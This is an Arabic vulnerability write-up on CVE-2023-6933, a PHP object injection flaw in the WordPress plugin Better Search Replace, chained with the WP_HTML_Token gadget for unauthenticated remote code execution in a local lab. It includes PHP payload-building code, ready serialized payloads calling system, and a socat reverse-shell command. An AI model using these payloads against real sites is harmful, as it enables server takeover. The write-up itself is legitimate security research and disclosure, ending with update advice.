
مقدمة حول ثغرة CVE-2023-6933
ملحق "Better Search Replace" لووردبريس يحتوي على ثغرة أمنية حرجة تُعرف باسم PHP Object Injection. هذا الخلل الأمني موجود في جميع الإصدارات حتى 1.4.4 شاملاً. ينشأ من إلغاء تسلسل المدخلات غير الموثوقة، مما يسمح للمهاجمين غير الموثقين بحقن كائن PHP في النظام. يُلاحظ أن الملحق نفسه لا يحتوي على سلسلة PHP Object Injection (POI). ومع ذلك، إذا تم تثبيت ملحق أو قالب آخر ضعيف على النظام المستهدف يحتوي على سلسلة POI، فقد تسمح هذه الثغرة للمهاجمين بحذف ملفات عشوائية، أو الوصول إلى بيانات حساسة، أو تنفيذ كود ضار.
في هذا التحليل، سنغطي أيضًا الثغرة في إصدار ووردبريس 6.4.0، والتي تمت معالجتها لإصلاح مشكلة تنفيذ الأوامر عن بُعد (RCE). علاوة على ذلك، سنستكشف إمكانية ربط هاتين الثغرتين لتحقيق تنفيذ أوامر عن بُعد بدون توثيق.
لمعرفة الإصدار المستقر الحالي لملحق Better Search Replace، استخدم الأمر التالي:
echo 'http://wp6.4-better-search-replace-before-1.4.5.local' \
| sed "s'$'/wp-content/plugins/better-search-replace/README.txt'" \
| httpx -silent -mc 200 -er 'Stable tag:.*'
http://wp6.4-better-search-replace-before-1.4.5.local/wp-content/plugins/better-search-replace/README.txt [Stable tag: 1.4.3]
أولاً، قمت بإعداد ثلاث حاويات Docker للتحليل:
لفهم أعمق للثغرة، بدأت بتحليل commits محددة في مستودع GitHub لملحق "Better Search Replace". قد تحتوي هذه الـ commits على معلومات حاسمة حول طبيعة الثغرة وإصلاحاتها.

في هذه الدالة، يمكننا ملاحظة المعاملات التالية:
from: هذا هو النص المطلوب استبداله.to: يمثل النص البديل.data: هذه هي البيانات التي تحتاج إلى الاستبدال.من المهم ملاحظة هنا أن البيانات تُمرر مباشرة إلى الدالة $this->unserialize($data).

لذلك، يمكننا هنا رؤية أن السلسلة النصية سيتم إلغاء تسلسلها.
لتحديد المكان الذي يمكن فيه حقن كائن متسلسل في data، سنستكشف الواجهة البصرية للملحق.

يمكننا بالتالي وضع كائن متسلسل في أحد هذه الجداول، لكننا نحتاج إلى كائن متسلسل ضعيف لتحقيق تنفيذ الأوامر عن بُعد (RCE).
في إصدار ووردبريس 6.4.0، تم تقديم كائن PHP WP_HTML_Token. إليك تفصيل لهيكله وإمكانية استغلاله:
main.php
<?php
class WP_HTML_Token {
public $bookmark_name = null;
public $node_name = null;
public $has_self_closing_flag = false;
public $on_destroy = null;
/**
* Constructor - creates a reference to a token in some external HTML string.
*
* @since 6.4.0
*
* @param string $bookmark_name Name of bookmark corresponding to location in HTML where token is found.
* @param string $node_name Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
* @param bool $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
* @param callable $on_destroy Function to call when destroying token, useful for releasing the bookmark.
*/
public function __construct( $bookmark_name, $node_name, $has_self_closing_flag, $on_destroy = null ) {
$this->bookmark_name = $bookmark_name;
$this->node_name = $node_name;
$this->has_self_closing_flag = $has_self_closing_flag;
$this->on_destroy = $on_destroy;
}
public function __destruct() {
if ( is_callable( $this->on_destroy ) ) {
call_user_func( $this->on_destroy, $this->bookmark_name );
}
}
}
دالة call_user_func داخل طريقة __destruct هي المفتاح للاستغلال. تتطلب:
$this->on_destroy: دالة قابلة للاستدعاء.
$this->bookmark_name: وسيطة للدالة القابلة للاستدعاء.
لاستغلال ذلك، جربت إضافة الأسطر التالية إلى نهاية main.php (ملاحظة: قم بتعليق سطر call_user_func قبل التسلسل):
$token = new WP_HTML_Token("touch /tmp/rce", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
php main.php
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:14:"touch /tmp/rce";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
الآن، من الممكن اختبار النظرية بإضافة تعليق غير موثق على الموقع.

حان الوقت لاستخدام الملحق لتشغيل دالة إلغاء التسلسل.

تم إنشاء الملف كما هو متوقع، لذا فإن RCE أثناء إلغاء التسلسل وأثناء تدمير الكائن يعمل بشكل صحيح.

استمرار التعليقات المحذوفة: حتى إذا تم حذف تعليق، فإنه يبقى في قاعدة البيانات موسومًا بـ 'غير معروض للمستخدم'. ومع ذلك، لا يميز الملحق بين التعليقات المرئية وغير المرئية ويقوم بإلغاء تسلسل الكائن بغض النظر.
إلغاء التسلسل أثناء التشغيل التجريبي (Dry Run): تحدث عملية إلغاء التسلسل حتى أثناء التشغيل التجريبي، وهو إشراف أمني كبير.
التقييم الأولي: يبدو أن تصنيف Wordfence لنظام تسجيل الثغرات المشتركة (CVSS) خاطئ. برأيي، يجب أن يكون التصنيف 8.8.
التقييم المعدل: التصنيف الحالي لـ CVSS هو 9.8. ومع ذلك، يتجاهل هذا التصنيف حقيقة أن "تفاعل المستخدم مطلوب على الجدول الصحيح" لحدوث إلغاء تسلسل الكود. لتأكيد ذلك، تواصلت مع الباحث Sam Pizzey الذي أكد ملاحظتي: يتطلب تنفيذ الثغرة أن يتفاعل شخص ما مع الملحق.
للمهتمين بتقنيات الـ Reverse Shell، قمت بتعديل حمولتي لتبسيط هذه العملية. يمكن تطبيق ذلك على المواقع التي يكون فيها التسجيل مفتوحًا للجميع:
$token = new WP_HTML_Token("socat TCP:172.17.0.4:4444 EXEC:/bin/bash", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:40:"socat TCP:172.17.0.4:4444 EXEC:/bin/bash";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
إدخال PHP Object في الملف الشخصي

ثم فتحت مستمعًا لانتظار الاتصال الوارد.


أخيرًا، استلمت اتصال الـ Reverse Shell بنجاح.

توفر هذه الوثيقة نظرة عامة مفصلة عن ثغرة CVE-2023-6933، بما في ذلك تأثيرها وتفاصيلها الفنية واستراتيجيات التخفيف. فهم ومعالجة هذه الثغرة أمر بالغ الأهمية للحفاظ على أمان وسلامة تثبيتات ووردبريس التي تستخدم ملحق 'Better Search Replace'.
لمعالجة الثغرة، قم بالتحديث إلى إصدار أعلى من Better Search Replace 1.4.4 وقم بتحديث ووردبريس الخاص بك.
المؤلف: Maxime Paillé
GitHub: w2xim3
LinkedIn: الملف الشخصي على LinkedIn